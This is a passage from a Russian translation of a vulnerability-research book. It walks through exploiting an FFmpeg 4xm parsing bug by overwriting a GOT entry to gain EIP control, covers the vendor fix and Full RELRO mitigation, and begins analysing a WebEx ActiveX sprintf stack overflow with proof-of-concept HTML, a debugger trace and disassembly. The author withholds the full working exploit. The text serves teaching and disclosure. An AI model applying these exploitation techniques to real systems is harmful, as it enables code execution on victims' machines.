байты 0-3 fourcc: 'strk' байты 4-7 длина блока strk (40, или 0x28 байт) байты 8-11 номер дорожки байты 12-15 тип аудио: 0 = PCM, 1 = 4X IMA ADPCM 82 ГЛАВА 4. И СНОВА НУЛЕВОЙ УКАЗАТЕЛЬ байты 16-35 не используется байты 36-39 количество аудиоканалов байты 40-43 частота аудиозаписи байты 44-47 разрядность аудиоданных (8 или 16 бит)

–  –  –

Я знаю, чтобы эксплуатировать эту уязвимость, необходимо установить номер дорожки по адресу &header[i+8] (соответствующему значению переменной current_track в исходных текстах FFmpeg) и тип аудио по адресу &header[i+12]. При правильном подборе этих параметров, значение типа аудио будет записано в память по адресу NULL + номер дорожки, то есть, то же самое, что NULL + current_ track.

В результате, запись в (почти) произвольные участки памяти из исходных текстов FFmpeg будет выглядеть так:

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ 83

[..] 178 fourxm-tracks[current_track].adpcm = AV_RL32(&header[i + 12]);

179 fourxm-tracks[current_track].channels = AV_RL32(&header[i + 36]);

180 fourxm-tracks[current_track].sample_rate = AV_RL32(&header[i + 40]);

181 fourxm-tracks[current_track].bits = AV_RL32(&header [i + 44]);

[..]

–  –  –

linux$./ffmpeg_g -i original.4xm original.avi FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.

conguration:

libavutil 49.12. 0 / 49.12. 0 libavcodec 52.10. 0 / 52.10. 0 libavformat 52.23. 1 / 52.23. 1 libavdevice 52. 1. 0 / 52. 1. 0 built on Jan 24 2009 02:30:50, gcc: 4.3.3

Input #0, 4xm, from 'original.4xm':

Duration: 00:00:13.20, start: 0.000000, bitrate: 704 kb/s Stream #0.0: Video: 4xm, rgb565, 640x480, 15.00 tb(r) Stream #0.1: Audio: pcm_s16le, 22050 Hz, stereo, s16, 705 kb/s

Output #0, avi, to 'original.avi':

Stream #0.0: Video: mpeg4, yuv420p, 640x480, q=2-31, 200 kb/s,

15.00 tb(c) Stream #0.1: Audio: mp2, 22050 Hz, stereo, s16, 64 kb/s

Stream mapping:

Stream #0.0 - #0.0 Stream #0.1 - #0.1 84 ГЛАВА 4. И СНОВА НУЛЕВОЙ УКАЗАТЕЛЬ Press [q] to stop encoding frame= 47 fps= 0 q=2.3 Lsize= 194kB time=3.08 bitrate= 515.3kbits/s video:158kB audio:24kB global headers:0kB muxing overhead 6.715897% Затем я изменил в блоке strk значение, соответствующее номеру дорожки, а также типу аудио. Как видно на рис. 4.5, я изменил номер дорожки на 0xaaaaaaaa (1) а тип аудио на 0xbbbbbbbb (2). Новый файл я сохранил с именем poc1.4xm и попробовал преобразовать его с помощью библиотеки FFmpeg (описание команд отладчика можно найти в разделе B.4).

&header[i]

–  –  –

Рис. 4.5. Блок strk в образце файла в формате 4X после изменения.

Измененные значения выделены рамками, а числа в скобках описываются в тексте выше.

linux$ gdb./ffmpeg_g GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later http://gnu.org/ licenses/gpl.html This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details.

This GDB was congured as "i486-linux-gnu"...

(gdb) set disassembly-avor intel (gdb) run -i poc1.4xm Starting program: /home/tk/BHD/ffmpeg/ffmpeg_g -i poc1.4xm FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.

conguration:

libavutil 49.12. 0 / 49.12. 0 libavcodec 52.10. 0 / 52.10. 0 libavformat 52.23. 1 / 52.23. 1 libavdevice 52. 1. 0 / 52. 1. 0 built on Jan 24 2009 02:30:50, gcc: 4.3.3

–  –  –

В момент аварии регистры EAX и EBX были заполнены значениями, введенными мною в качестве типа аудио (0xbbbbbbbb) и номера дорожки (0xaaaaaaaa).

Далее, я запросил у отладчика вывести последнюю выполненную инструкцию в библиотеке FFmpeg:

(gdb) x/1i $eip 0x809c89d fourxm_read_header+509: mov DWORD PTR [edx+ebp*1+0x10],eax Как следует из вывода отладчика, инструкция, вызвавшая ошибку сегментации попыталась записать значение 0xbbbbbbbb по адресу, вычисленному с использованием предоставленного мною номера дорожки.

Для управления записью в память необходимо узнать, как был вычислен адрес назначения для операции записи.

Ответ обнаружился в следующем ассемблерном коде:

(gdb) x/7i $eip - 21 0x809c888 fourxm_read_header+488: lea ebp,[ebx+ebx*4] 0x809c88b fourxm_read_header+491: mov eax,DWORD PTR [esp+0x34] 0x809c88f fourxm_read_header+495: mov edx,DWORD PTR [esi+0x10] 86 ГЛАВА 4. И СНОВА НУЛЕВОЙ УКАЗАТЕЛЬ 0x809c892 fourxm_read_header+498: mov DWORD PTR [esp+0x28],ebp 0x809c896 fourxm_read_header+502: shl ebp,0x2 0x809c899 fourxm_read_header+505: mov eax,DWORD PTR [ecx+eax*1+0xc] 0x809c89d fourxm_read_header+509: mov DWORD PTR [edx+ebp*1+0x10],eax

Эти инструкции соответствуют следующей строке в исходных текстах на языке C:

[..] 178 fourxm-tracks[current_track].adpcm = AV_RL32(&header[i + 12]);

[..] Результаты выполнения этих инструкций описываются в табл. 4.2.

Поскольку регистр EBX содержит значение, подготовленное мною для переменной current_track, а регистр EDX – нулевой указатель

fourxm-tracks, вычисления можно выразить так:

edx + ((ebx + ebx * 4) 2) + 0x10 = адрес назначения для операции записи

–  –  –

Для переменой current_track (регистр EBX) я подготовил значение поэтому вычисления можно представить так:

0xaaaaaaaa, NULL + (0xaaaaaaaa * 20) + 0x10 = 0x55555558

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ

Результат вычислений можно проверить с помощью 0x55555558 отладчика:

(gdb) x/1x $edx+$ebp+0x10 0x55555558: Cannot access memory at address 0x55555558 Шаг 4: изменение содержимого блока strk для получения контроля над EIP Уязвимость позволила затереть почти произвольные ячейки памяти произвольным 4-байтным значением. Чтобы перехватить управление потоком выполнения библиотеки FFmpeg, необходимо записать свои данные по адресу, где можно будет получить контроль над регистром EIP. Для этого необходимо найти предсказуемый постоянный адрес в адресном пространстве FFmpeg. По этой причине сразу отпадают все адреса, относящиеся к стеку процесса. Но формат исполняемых и компонуемых модулей (Executable and Linkable Format, ELF)(Executable and Linkable Format, – используемый в ОС Linux, предлагает почти идеальную цель: глобальную таблицу смещений (Global Offset Table, GOT). Для каждой библиотечной функции, используемой в FFmpeg, имеется своя ссылка в таблице GOT. А манипулируя записями в этой таблице легко можно получить контроль над потоком выполнения (раздел A.4). Самым замечательным свойством таблицы GOT является ее предсказуемость, то есть именно то, что нужно. Итак, контроль на EIP можно получить, затерев в таблице GOT запись, соответствующую библиотечной функции, которая вызывается после выполнения уязвимого кода.

Так какая же библиотечная функция вызывается после выполнения уязвимого кода? Чтобы ответить на этот вопрос мне снова пришлось исследовать исходные тексты:

Исходный файл libavformat/4xm.c Функция fourxm_read_header() [..] 184 /* выделить память для новой структуры AVStream */ 185 st = av_new_stream(s, current_track);

[..] Сразу вслед за четырьмя уязвимыми инструкциями выделяется память для новой структуры AVStream, вызовом функции av_new_ stream().

88 ГЛАВА 4. И СНОВА НУЛЕВОЙ УКАЗАТЕЛЬ Исходный файл libavformat/utils.c Функция av_new_stream() [..] 2271 AVStream *av_new_stream(AVFormatContext *s, int id) 2272 { 2273 AVStream *st;

2274 int i;

2276 if (s-nb_streams = MAX_STREAMS) 2277 return NULL;

2279 st = av_mallocz(sizeof(AVStream));

[..] В строке 2279 вызывается другая функция, с именем av_ mallocz().

Исходный файл libavutil/mem.c Функции av_mallocz() и av_malloc() [..] 43 void *av_malloc(unsigned int size) 44 { 45 void *ptr = NULL;

46 #ifdef CONFIG_MEMALIGN_HACK 47 long diff;

48 #endif 50 /* отвергнуть возможные неоднозначные случаи */ 51 if(size (INT_MAX-16) ) 52 return NULL;

54 #ifdef CONFIG_MEMALIGN_HACK 55 ptr = malloc(size+16);

56 if(!ptr) 57 return ptr;

58 diff= ((-(long)ptr - 1)&15) + 1;

59 ptr = (char*)ptr + diff;

60 ((char*)ptr)[-1]= diff;

61 #elif dened (HAVE_POSIX_MEMALIGN) 62 posix_memalign(&ptr,16,size);

63 #elif dened (HAVE_MEMALIGN) 64 ptr = memalign(16,size);

[..] 135 void *av_mallocz(unsigned int size) 136 { 137 void *ptr = av_malloc(size);

138 if (ptr)

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ

–  –  –

Итак, область памяти, которую необходимо затереть, имеет адрес Все что осталось сделать – определить соответствующее 0x08560204.

значение номера дорожки (current_track). Сделать это можно двумя способами: вычислить его или просто подобрать. Я выбрал самый простой путь и написал программу, представленную в листинге 4.1.

Листинг 4.1.

Небольшая вспомогательная программа, подбирающая значение для переменной current_track (addr_brute_force.c)

–  –  –

Программа в листинге 4.1 использует метод простого перебора для поиска подходящего значения номера дорожки (current_track), которое необходимо записать по адресу (в таблицу GOT), определенному в строке 4. Программа перебирает все возможные значения для переменной current_track, пока результат вычислений (в строке 16) не совпадет с адресом записи в таблице GOT, соответствующей функции memalign() (строка 17). Чтобы воспользоваться уязвимостью, значение переменной current_track должно интерпретироваться как отрицательное число, поэтому рассматриваются только значения в диапазоне от 0x80000000 до 0xffffffff (строка 15).

Например:

linux$ gcc -o addr_brute_force addr_brute_force.c linux$./addr_brute_force Value for 'current_track': 8d378019 Затем я изменил файл и сохранил его под именем poc2.4xm.

Единственное, что я изменил в нем, это значение номера дрожки ((1) на рис. 4.7). Он теперь совпадает со значением, найденным моей вспомогательной программой.

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ

–  –  –

Рис. 4.7. Блок strk в файле poc2.4xm после изменения номера дорожки (current_track) Затем я проверил в отладчике работу нового файла, доказывающего правильность концепции, (описание команд отладчика можно найти в разделе B.4).

linux$ gdb -q./ffmpeg_g (gdb) run -i poc2.4xm Starting program: /home/tk/BHD/ffmpeg/ffmpeg_g -i poc2.4xm FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.

conguration:

libavutil 49.12. 0 / 49.12. 0 libavcodec 52.10. 0 / 52.10. 0 libavformat 52.23. 1 / 52.23. 1 libavdevice 52. 1. 0 / 52. 1. 0 built on Jan 24 2009 02:30:50, gcc: 4.3.3 Program received signal SIGSEGV, Segmentation fault.

0xbbbbbbbb in ?? ()

–  –  –

Есть полный контроль над EIP! Получив контроль над указателем инструкций, я разработал эксплойт для уязвимости. В качестве инструмента я использовал проигрыватель VLC, потому что он использует уязвимую версию FFmpeg.

92 ГЛАВА 4. И СНОВА НУЛЕВОЙ УКАЗАТЕЛЬ Как уже говорилось в предыдущих главах, строгие законы в Германии не позволяют приводить исходные тексты рабочего эксплойта, но интересующиеся могут посмотреть короткий видеоролик на вебсайте книги, демонстрирующий эксплойт в действии. [5] На рис. 4.8 показаны шаги, которые я предпринял для эксплуатации уязвимости. Ниже приводится описание уязвимости на рис. 4.8.

1. Переменная current_track используется для вычисления адреса в памяти (NULL + current_track + смещение), куда требуется записать значение. Переменная current_track содержит значение, определяемое данными в файле 4xm, подконтрольными пользователю.

2. Данные, записываемые в память, также являются подконтрольными пользователю и извлекаются из медиафайла.

3. Подконтрольные пользователю данные копируются в память, по адресу, где находится запись в таблице GOT, соответствующая функции memalign().

–  –  –

Рис. 4.8. Диаграмма эксплуатации уязвимости библиотеке FFmpeg

4.3. Ликвидация уязвимости Вторник, 27 января, 2009 После того, как я известил разработчиков библиотеки FFmpeg о найденной уязвимости, они создали следующее исправление: [6]

ЛИКВИДАЦИЯ УЯЗВИМОСТИ

–  –  –

После наложения исправления значение переменной не может стать отрицательным и уязвимость действительно исчезает.

Это исправление устраняет уязвимость на уровне исходных текстов. Однако существует также универсальная методика противодействия эксплойтам, способная существенно усложнить эксплуатацию ошибки. Чтобы перехватить управление потоком выполнения, мне потребовалось переписать данные в памяти, чтобы получить контроль над EIP. В данном примере была использована запись в таблице GOT. Технология RELRO (RELocations Read Only – переключение доступа к таблицам переходов в режим «только для чтения») предусматривает режим с названием Full RELRO, который разрешает доступ к таблице GOT только для чтения, что делает невозможным использование приема затирания записей в таблице GOT, описанного выше, и препятствует перехвату управления потоком выполнения библиотеки FFmpeg. Однако существуют и другие приемы, позволяГЛАВА 4. И СНОВА НУЛЕВОЙ УКАЗАТЕЛЬ Д о п о л н и т е л ь - ющие получить контроль над EIP, для которых ная информация о технология RELRO не является препятствием.

Чтобы задействовать технологию Full RELRO, технологии RELRO приводится в раз- библиотеку FFmpeg необходимо собирать со следующими дополнительными флагами компоновделе C. 2.

щика:

-Wl, -z,relro, -z,now.

Пример сборки FFmpeg с поддержкой технологии Full RELRO:

linux$./configure --extra-ldflags="-Wl,-z,relro,-z,now" linux$ make Попробуем получить запись в таблице GOT, соответствующую функции memalign():

linux$ objdump -R./ffmpeg_g | grep memalign 0855ffd0 R_386_JUMP_SLOT posix_memalign

Воспользуемся программой из листинга 4.1, чтобы подобрать значение для current_track:

linux$./addr_brute_force Value for 'current_track': 806ab330 Создадим новый файл, доказывающий правильность концепции (poc_relro.4xm), и проверим его в отладчике (описание команд отладчика можно найти в разделе B.4):

linux$ gdb -q./ffmpeg_g (gdb) set disassembly-avor intel (gdb) run -i poc_relro.4xm Starting program: /home/tk/BHD/ffmpeg_relro/ffmpeg_g -i poc_relro.4xm FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.

conguration:

--extra-ldags=-Wl,-z,relro,-z,now libavutil 49.12. 0 / 49.12. 0 libavcodec 52.10. 0 / 52.10. 0 libavformat 52.23. 1 / 52.23. 1 libavdevice 52. 1. 0 / 52. 1. 0 built on Jan 24 2009 09:07:58, gcc: 4.3.3 Program received signal SIGSEGV, Segmentation fault.

0x0809c89d in fourxm_read_header (s=0xa836330, ap=0xbfb19674) at libavformat/4xm.c:178 178 fourxm-tracks[current_track].adpcm = AV_RL32(&header[i + 12]);

ЛИКВИДАЦИЯ УЯЗВИМОСТИ 95

–  –  –

(gdb) x/1i $eip 0x809c89d fourxm_read_header+509: mov DWORD PTR [edx+ebp*1+0x10],eax

Я также вывел адрес, куда библиотека FFmpeg попыталась сохранить значение регистра EAX:

(gdb) x/1x $edx+$ebp+0x10 0x855ffd0 _GLOBAL_OFFSET_TABLE_+528: 0xb7dd4d40

–  –  –

На этот раз авария вызвана ошибкой сегментации при попытке затереть доступную только для чтения запись в таблице GOT (обратите внимание на права доступа r--p к памяти в таблице GOT по адресам 0855f000–08560000). Таким образом, технология Full RELRO успешно препятствует затиранию записей в таблице GOT.

4.4. Полученные уроки

С позиции программиста:

Не смешивайте данные разных типов.

Выясните, какие скрытые преобразования типов выполняются компилятором автоматически. Эти преобразования трудноуловимы на глаз, но являются источником большого количества ошибок [7] (см. также раздел A.3).

Изучите тему преобразования типов в языке C.

Не все ошибки разыменования нулевого указателя в пространстве пользователя являются простыми уязвимостями отказа в ДОПОЛНЕНИЕ обслуживании. Некоторые из них являются по-настоящему опасными уязвимостями, позволяющими выполнить произвольный код.

Технология Full RELRO позволяет воспрепятствовать приему затирания записей в таблице GOT.

С позиции пользователя медиапроигрывателей:

не доверяйте медиафайлам с любыми расширениями (подробнее об этом – в разделе 2.5).

–  –  –

27.01.2009 28.01.2009 Рис. 4.9. График устранения уязвимости в библиотеке FFmpeg от момента извещения до выпуска исправленной версии Примечания

1. http://wiki.multimedia.cx/index.php?title=YouTube.

2. http://ffmpeg.org/download.html.

3. http://www.trapkit.de/books/bhd/.

4. Подробное описание формата 4X файлов можно найти по адресу: http://wiki.multimedia.cx/index.php?title=4xm_Format.

98 ГЛАВА 4. И СНОВА НУЛЕВОЙ УКАЗАТЕЛЬ

5. http://www.trapkit.de/books/bhd/.

6. Исправление от разработчиков FFmpeg можно найти по адресу:

http://git.videolan.org/?p=ffmpeg.git;a=commitdiff;h=0838cfdc8a 10185604db5cd9d6bffad71279a0e8.

7. Дополнительную информацию о преобразованиях типов и связанных с ними проблемах безопасности можно найти в книге Марка Дауда (Mark Dowd), Джона Макдональда (John McDonald) и Юстина Шу (Justin Schuh) «The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities»

(Indianapolis, IN: Addison-Wesley Professional, 2007). Пример главы из этой книги можно найти по адресу: http://ptgmedia.

pearsoncmg.com/images/0321444426/samplechapter/Dowd_ ch06.pdf.

8. Отчет, подробно описывающий уязвимость в библиотеке FFmpeg, можно найти по адресу: http://www.trapkit.de/ advisories/TKADV2009-004.txt.

ГЛАВА ЗАШЕЛ 5 И ПОПАЛСЯ Воскресенье, 6 апреля, 2008.

Дорогой дневник, Уязвимости в браузерах и дополнениях к ним в наши дни сыплются как из рога изобилия, поэтому я решил заглянуть в некоторые элементы управления ActiveX. Первым в моем списке оказалось популярное в бизнесе приложение WebEx для организации веб-конференций, выпущенное компанией Cisco. Потратив некоторое время на изучение ActiveX-элемента WebEx для Microsoft Internet Explorer, я обнаружил очевидную ошибку, которую можно было бы найти за несколько секунд, если бы вместо чтения ассемблерных листингов я занялся фаззингом компонента. Досадно.

–  –  –

Примечание. Ссылку для загрузки уязвимой версии WebEx Meeting Manager можно найти по адресу: http://www.trapkit.de/books/bhd/.

Шаг 1: составление списка зарегистрированных объектов WebEx и экспортируемых методов После загрузки и установки WebEx Meeting Manager, я запустил утилиту COMRaider [1], чтобы создать список экспортируемых интерфейсов, предоставляемых элементом управления вызывающей программе. Я щелкнул на кнопке Start (Пуск) в окне COMRaider и выбрал пункт Scan a directory for registered COM servers (Отыскать в каталоге зарегистрированные COM-серверы), чтобы проверить компоненты WebEx, установленные в каталог C:\Program Files\Webex\.

Как показано на рис. 5.1, в каталоге установки WebEx имеется два зарегистрированных объекта, и среди них объект с идентификаторами GUID {32E26FD9-F435-4A20-A561-35D4B987CFDC} и ProgID WebexUCFObject.WebexUCFObject.1, реализующий интерфейс IObjectSafety. Браузер Internet Explorer будет доверять этому объекту, потому что он помечен, как безопасный для инициализации и безопасный для скриптинга. Это превращает объект в многообещающую цель для атак типа «зашел и попался», поскольку он позволяет вызывать свои методы из веб-страниц. [2] Рис. 5.1. Зарегистрированные объекты WebEx, найденные утилитой COMRaider Компания Microsoft также предоставляет удобный класс на языке C# с именем ClassId [3] позволяющий получить список различных свойств элементов управления ActiveX. Чтобы воспользоваться этим классом, я отредактировал исходный файл ClassId.cs, добавил в него ОБНАРУЖЕНИЕ УЯЗВИМОСТИ 101

–  –  –

Чтобы скомпилировать и запустить инструмент, я выполнил следующие команды в окне терминала:

C:\Documents and Settings\tk\Desktopcsc /warn:0 /nologo ClassId.cs C:\Documents and Settings\tk\DesktopClassId.exe {32E26FD9F435-4A20-A561-35D4B987CFDC} Clsid: {32E26FD9-F435-4A20-A561-35D4B987CFDC} Progid: WebexUCFObject.WebexUCFObject.1 Binary Path: C:\Program Files\WebEx\WebEx\824\atucfobj.dll Implements IObjectSafety: True Safe For Initialization (IObjectSafety): True Safe For Scripting (IObjectSafety): True Safe For Initialization (Registry): False Safe For Scripting (Registry): False KillBitted: False Вывод инструмента показывает, что объект действительно помечен, как безопасный для инициализации (Safe For Initialization) и безопасный для скриптинга (Safe For Scripting) и реализует интерфейс IObjectSafety.

1 Они позволяют превратить класс в исполняемую программу, – Прим. науч. ред.

102 ГЛАВА 5. ЗАШЕЛ И ПОПАЛСЯ Затем я щелкнул на кнопке Select (Выбрать) в окне COMRaider, чтобы получить список общедоступных методов, экспортируемых объектом с идентификатором GUID {32E26FD9-F435-4A20-A561D4B987CFDC}. Как показано на рис. 5.2, объект экспортирует метод NewObject(), принимающий строковое значение в виде параметра.

Рис. 5.2. Общедоступные методы, экспортируемые объектом с идентификатором GUID {32E26FD9-F435-4A20-A561-35D4B987CFDC} Шаг 2: тестирование экспортируемых методов в браузере После создания списка доступных объектов и экспортируемых методов, я написал небольшой HTML-файл, вызывающий метод

NewObject() в сценарии на языке VBScript, как показано в листинге 5.1:

Листинг 5.1.

HTML-файл, вызывающий метод NewObject() (webex_poc1.html ) 01 html 02 titleWebEx PoC 1/title 03 body 04 object classid="clsid:32E26FD9-F435-4A20-A561D4B987CFDC" id="obj"/object 05 09 /body 10 /html В строке 4, в листинге 5.1, создается экземпляр объекта с идентификатором GUID, или ClassID {32E26FD9-F435-4A20-A561-35D4B987CFDC}.

ОБНАРУЖЕНИЕ УЯЗВИМОСТИ 103 В строке 7 вызывается метод NewObject() со строкой из 12 символов «A» в качестве параметра.

Чтобы протестировать HTML-файл я реализовал простенький вебсервер на языке Python, передающий файл webex_poc1.html браузеру (листинг 5.2):

Листинг 5.2.

Простой веб-сервер, реализованный на языке Python, передающий файл webex_poc1.html браузеру (wwwserv.py) 01 import string,cgi 02 from os import curdir, sep 03 from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer 05 class WWWHandler(BaseHTTPRequestHandler):

07 def do_GET(self):

08 try:

09 f = open(curdir + sep + "webex_poc1.html") 11 self.send_response(200) 12 self.send_header('Content-type', 'text/html') 13 self.end_headers() 14 self.wle.write(f.read()) 15 f.close() 17 return 19 except IOError:

20 self.send_error(404,'File Not Found: %s' % self.path) 22 def main():

23 try:

24 server = HTTPServer(('', 80), WWWHandler) 25 print 'server started' 26 server.serve_forever() 27 except KeyboardInterrupt:

28 print 'shutting down server' 29 server.socket.close() 31 if __name__ == '__main__':

32 main() Не смотря на то, что элемент управления ActiveX из WebEx помечен как безопасный для скриптинга (рис. 5.1), он разрабатывался так, что должен использоваться только в домене webex.com. Однако на практике это требование можно обойти, задействовав уязвимость «межсайтовый скриптинг» (Cross-Site Scripting, XSS) [4] в домене 104 ГЛАВА 5. ЗАШЕЛ И ПОПАЛСЯ WebEx. Поскольку XSS-уязвимости широко распространены среди современных веб-приложений, выявить ее в домене webex.com не должно быть сложным делом. Чтобы проверить элемент управления, не прибегая к использованию XSS-уязвимости, я просто добавил следующую запись в файл hosts в своей системе Windows (C:\WINDOWS\

system32\drivers\etc\hosts\):

127.0.0.1 localhost, www.webex.com После этого я запустил мой простенький веб-сервер на языке Python и ввел адрес http://www.webex.com/ в Internet Explorer (рис. 5.3).

–  –  –

Шаг 3: поиск методов объекта в двоичном файле

К настоящему моменту я собрал следующие сведения:

в программном обеспечении WebEx имеется объект с идентификатором ClassID {32E26FD9-F435-4A20-A561-35D4B987CFDC};

этот объект реализует интерфейс IObjectSafety и потому является многообещающей целью, так как его методы можно вызывать из браузера;

объект экспортирует метод с именем NewObject(), принимающий строковое значение, подконтрольное пользователю.

ОБНАРУЖЕНИЕ УЯЗВИМОСТИ 105 Чтобы исследовать реализацию экспортируемого метода NewObject(), мне необходимо отыскать его в двоичном файле atucfobj.

dll. Для этого я использовал прием, описанный Коди Пирсом (Cody Pierce), в блоге MindshaRE. [5] Основная идея заключается в том, чтобы извлекать адреса вызываемых методов из аргументов функции OLEAUT32!DispCallFunc, запустив браузер в отладчике.

Когда вызывается метод элемента управления ActiveX, обычно фактически вызывается функция DispCallFunc() [6]. Эта функция экспортируется библиотекой OLEAUT32.dll. Адрес вызываемого метода можно определить с помощью двух первых параметров (с именами pvInstance и oVft) функции DispCallFunc().

Чтобы определить адрес метода NewObject(), я запустил Internet Explorer из отладчика WinDbg [7] (описание команд отладчика можно найти в разделе B.2) и установил точку останова в функции

OLEAUT32!DispCallFunc (как показано на рис. 5.4):

0:000 bp OLEAUT32!DispCallFunc "u poi(poi(poi(esp+4))+(poi(esp+8))) L1;gc" Рис. 5.4. Установка точки останова в начале функции OLEAUT32!DispCallFunc в Internet Explorer 106 ГЛАВА 5. ЗАШЕЛ И ПОПАЛСЯ Команда bp OLEAUT32!DispCallFunc отладчика устанавливает точку останова в начало функции DispCallFunc(). Когда выполнение прервется в точке останова, можно будет вычислить первые два параметра функции. Значение первого параметра вычисляется командой poi(poi(esp+4)), а второго – командой poi(esp+8). Сумма этих значений представляет адрес вызываемого метода. Затем можно вывести на экран первую строку (L1) дизассемблированного листинга тела метода (u poi(результат вычислений)) и продолжить выполнение (gc).

Далее, я запустил Internet Explorer командой g (Go) отладчика WinDbg и снова ввел адрес http://www.webex.com/. Как и ожидалось, выполнение было прервано в точке останова, и на экране отобразился адрес вызванного метода NewObject() из библиотеки atucfobj.dll.

Как показано на рис. 5.5, в данном примере метод NewObject() находился в памяти по адресу 0x01d5767f. Сама библиотека atucfobj.dll была загружена по адресу 0x01d50000 (строка ModLoad: 01d50000 01d69000 C:\ProgramFiles\WebEx\WebEx\824\atucfobj.dll на рис. 5.5). Таким образом, метод NewObject() смещение 0x01d5767f - 0x01d50000 = 0x767F относительно начала библиотеки atucfobj.dll.

Рис. 5.5. Адрес метода NewObject() в отладчике WinDbg ОБНАРУЖЕНИЕ УЯЗВИМОСТИ 107 Шаг 4: поиск входных значений, подконтрольных пользователю Далее я дизассемблировал файл C:\Program Files\WebEx\WebEx\824\ atucfobj.dll с помощью дизассемблера IDA Pro. [8] В нем библиотека atucfobj.dll имела начальный адрес 0x10000000. Поэтому в листинге метод NewObject() располагался по адресу 0x1000767f (начальный адрес + смещение метода NewObject(): 0x10000000 + 0x767F), как показано на рис. 5.6.

Рис. 5.6. Дизассемблированный листинг метода NewObject() в дизассемблере IDA Pro Прежде чем приступать к изучению ассемблерного кода, необходимо убедиться, что аргумент содержит строку, полученную из сценария на VBScript, представленного в листинге 5.1. Поскольку аргумент является строкой, я предположил, что мое значение хранится во втором параметре, lpWideCharStr, как показано в окне IDA. Однако мне нужна была полная уверенность, поэтому я определил новую точку останова в начале метода NewObject() и проверил значения аргументов в отладчике (описание команд отладчика можно найти в разделе B.2).

Как показано на рис. 5.7, я определил новую точку останова с адресом в начале метода NewObject() (0:009 bp 01d5767f), продолжил выполнение Internet Explorer (0:009 g) и снова ввел адрес http://www.webex.com/. Когда выполнение было прервано в точке останова, я проверил значение второго аргумента метода NewObject() 108 ГЛАВА 5. ЗАШЕЛ И ПОПАЛСЯ (0:000 dd poi(esp+8) и 0:000 du poi(esp+8)). Как следует из вывода отладчика, подконтрольные пользователю данные (строка из 12 символов «A») действительно были переданы методу во втором аргументе.

Итак, вся необходимая информация получена и можно приступать к исследованию метода на наличие уязвимостей.

Рис. 5.7. Аргумент метода NewObject() со значением, подконтрольным пользователю, после прерывания выполнения в новой точке останова Шаг 5: исследование методов объектов В итоге исследования я обнаружил очевидную ошибку, возникающую при обработке пользовательской строки элементом управления ActiveX в методе NewObject(). Рис. 5.8 иллюстрирует путь достижения уязвимого метода.

В функции sub_1000767F пользовательская строка многобайтных символов преобразуется в строку простых символов с помощью функции WideCharToMultiByte(). После этого вызывается функция sub_10009642 и пользовательская строка копируется в другой буфер.

Реализация функции sub_10009642 позволяет скопировать в новый буфер не более 256 байт из пользовательской строки (на псевдокоде:

strncpy (новый_буфер, пользовательская_строка, 256)). Далее вызывается функция sub_10009826, вызывающая функцию sub_100096D0, которая в свою очередь вызывает уязвимую функцию sub_1000B37D.

ОБНАРУЖЕНИЕ УЯЗВИМОСТИ 109 Рис. 5.8. Путь достижения уязвимого метода (выявленный дизассемблером IDA Pro) Листинг 5.3. Дизассемблированный листинг уязвимой функции sub_1000B37D (создан дизассемблером IDA Pro) [..].text:1000B37D ; int __cdecl sub_1000B37D(DWORD cbData, LPBYTE lpData, int, int, int).text:1000B37D sub_1000B37D proc near.text:1000B37D.text:1000B37D SubKey= byte ptr -10Ch.text:1000B37D Type= dword ptr -8.text:1000B37D hKey= dword ptr -4.text:1000B37D cbData= dword ptr 8.text:1000B37D lpData= dword ptr 0Ch.text:1000B37D arg_8= dword ptr 10h.text:1000B37D arg_C= dword ptr 14h.text:1000B37D arg_10= dword ptr 18h.text:1000B37D.text:1000B37D push ebp.text:1000B37E mov ebp, esp.text:1000B380 sub esp, 10Ch.text:1000B386 push edi.text:1000B387 lea eax, [ebp+SubKey] ; адрес SubKey сохраняется в eax.text:1000B38D push [ebp+cbData] ; 4-й параметр sprintf(): cbData.text:1000B390 xor edi, edi

offset aAuthoring ; 3-й параметр sprintf():

.text:1000B392 push "Authoring" 110 ГЛАВА 5. ЗАШЕЛ И ПОПАЛСЯ.text:1000B397 push offset aSoftwareWebexU ; 2-й параметр sprintf(): "SOFTWARE\\..

.text:1000B397 ;..Webex\\UCF\\Components\\%s\\%s\\Install".text:1000B39C push eax ; 1-й параметр sprintf(): адрес SubKey.text:1000B39D call ds:sprintf ; вызов sprintf() [..].data:10012228 ; char aSoftwareWebexU[].data:10012228 aSoftwareWebexU db 'SOFTWARE\Webex\UCF\Components\ %s\%s\Install',0 [..] Первый аргумент функции sub_1000B37D, с именем cbData, содержит указатель на подконтрольные пользователю данные, хранящиеся в новом буфере символов (new_buffer на рис. 5.8). Как уже говорилось, подконтрольная пользователю строка многобайтных символов сохраняется в новом буфере в виде строки обычных символов, с максимальной длиной 256 байт. В листинге 5.3 видно, что функция sprintf() по адресу.text:1000B39D копирует пользовательские данные, на которые ссылается аргумент cbData, в буфер на стеке с именем SubKey (.text:1000B387 и.text:1000B39C).

Далее я попробовал получить размер буфера SubKey на стеке. Я открыл в дизассемблере IDA Pro окно с кадром стека по умолчанию, нажав комбинацию клавиш CTRL-K. Как видно на рис. 5.9, буфер SubKey на стеке имеет фиксированный размер, равный 260 байтам.

Если объединить информацию, полученную из листинга 5.3, с информацией об организации стека уязвимой функции, вызов функции sprintf() можно выразить на языке C, как показано в листинге 5.4.

–  –  –

Листинг 5.4.

Псевдокод на языке C, вызывающий функцию sprintf() [..] int sub_1000B37D(DWORD cbData, LPBYTE lpData, int val1, int val2, int val3) { char SubKey[260];

sprintf(&SubKey, "SOFTWARE\\Webex\\UCF\\Components\\%s\\%s\\Install", "Authoring", cbData);

